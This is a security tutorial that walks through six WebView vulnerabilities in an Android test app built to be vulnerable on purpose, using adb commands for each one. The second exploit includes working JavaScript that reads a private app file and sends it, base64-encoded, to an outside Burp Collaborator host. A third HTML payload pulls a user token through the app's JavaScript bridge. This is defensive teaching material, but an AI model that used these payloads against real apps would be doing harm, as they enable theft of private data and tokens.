Finding Vulnerabilities in Android Applications

Component Targeted: Web view

What is Webview?

The WebView allows the programmer to write the bulk of the application using HTML, JavaScript, and CSS, the standard Web programming tools. Webview is a browser engine contained within an application.

Application Used:-

For Testing, We are using a custom app that we intentionally made vulnerable to some attacks and will exploit those attacks.

Link for App: https://github.com/Siddharth352/Android-webview-vul-test-app

App Name: Vuln Webview App

Login credential: Username: TestApp, Password: Sidd@123

Tools Used:-

1. Jadx
2. ADB shell
3. Android Studio Emulator

Vulnerabilities:-

First, we need to look into the Android.xml file to find out the exported components because we can attack only those components which have some third-party interference.

By looking android.xml file, we can say that,

1. RegistrationWebview is directly exported.
2. SupportWebView and MainActivity are exported using intent filters.

Vulnerability 1:-

We can see that the function loadWebView in RegistrationWebView, is loading the URL without performing any validation check on the URL. In this case, we can pass an intent with the given URL as a string and webview will load it without any verification or validation.

Exploiting 1:-

Command to pass in ADB Shell:-

```
adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es
reg_url "http://mnit.ac.in/"
```

Vulnerability 2:-

In RegistrationWebview component, setAllowUniversalAccessFromFileURLs is enabled.

This setting removes all same-origin policy restrictions & allows the webview to make requests to the web from the file, which is usually not possible. i.e., the Attacker can read local files using JavaScript and send them across the web to an attacker-controlled domain.

If the WebView is exported, this behavior can be hazardous because it can allow the attacker to read arbitrary files private to the application.

Exploiting 2:

We have a webpage code.html, and when we open this page in webview, the JavaScript embedded in this code gets executed. In this JavaScript code, we are reading an internal private file. Since setAllowUniversalAccessFromFileURLs is enabled, App will allow this, and the response will be sent to the server, which we can see using burp collaborator.

Code.html:-

```
<script>
    var url =
'file:///data/data/com.tmh.vulnwebview/shared_prefs/MainActivity.xml';
function load(url) {
        var xhr = new XMLHttpRequest();
         xhr.onreadystatechange = function() {
            if (xhr.readyState === 4) {

fetch('https://8ktm71h4wjnqo72wgqbzvnr7jypodd.burpcollaborator.net/?exfil
trated=' + btoa(xhr.responseText)); //send b64 encoded file to attacker
            }
        }
xhr.open('GET', url, true);
 xhr.send('');
    }
load(url)
</script>
```

Command to pass in ADB Shell:-

```
adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es
reg_url <location of the Code.html page>
```

Vulnerability 3:-

In SupportWebView component, `webView.getSettings().setJavaScriptEnabled()` is set to true.

Adding this configuration creates an interface between the webpage's javascript and the client-side java code of the application. i.e., the web page's javascript can access and inject java code into the application.

Exploiting 3:-

We have a webpage code2.html, and when we open this page in webview, the JavaScript embedded in this code gets executed. In this JavaScript code, we are calling the function Android.getToken(). Since javascript is enabled and the interface between java and javascript is named Android, it will call the function getToken() function which is present in the SupportWebView.java file. This data can further be transferred to the attacker-control domain.

Code2.html:-

```
<script type="text/javascript">
document.write("token: " + Android.getUserToken());
</script>
```

Command to pass in ADB shell:-

```
adb shell am start -n com.tmh.vulnwebview/.Supportwebview  <path to
Code2.html page>
```

Vulnerability 4:-

Webview Bypass certificate Validation.

In the RegistrationWebView module, onReceivedsslerror() doesn't handle the exception that occurred. And this causes the abnormal certificate to pass the verification.

Exploiting 4:-

When we try to open a website whose SSL certificate is not valid then it will open that website which may lead to man in the middle attack.

Command to pass in ADB shell:-

```
adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es
reg_url "https://self-signed.badssl.com/"
```

Vulnerability 5:-

We exploit the deep link in this vulnerability. For this, we first check out the AndroidManifest.xml file and search for an android scheme in that. And then we create our deep link according to the intent-filters provided in the Androidmanifest.xml file.

Exploiting 5:-

Since SupportWebView Component is exported through intent-filter. We will create our deep link and attach a URL that we want to open in the webview.

DEEPLINK: - siddharth://com.sid?url=https://google.com

Command to pass in ADB shell:-

```
adb shell am start -W -a android.intent.action.VIEW -d
"siddharth://com.sid?url=https://google.com"
```

Vulnerability 6:-

Sensitive information Using Logs Cause Leak of Users personal details, Password, token.
In the main activity, we are logging into the app by entering our username and password. But app owner has made this app vulnerable to attack by logging the user credential.

Exploiting 6:-

Since mainactivity is logging the username and password.
Command to pass in ADB shell:-

```
adb logcat
```

Now when someone tries to login into the system, it will log his/her credentials.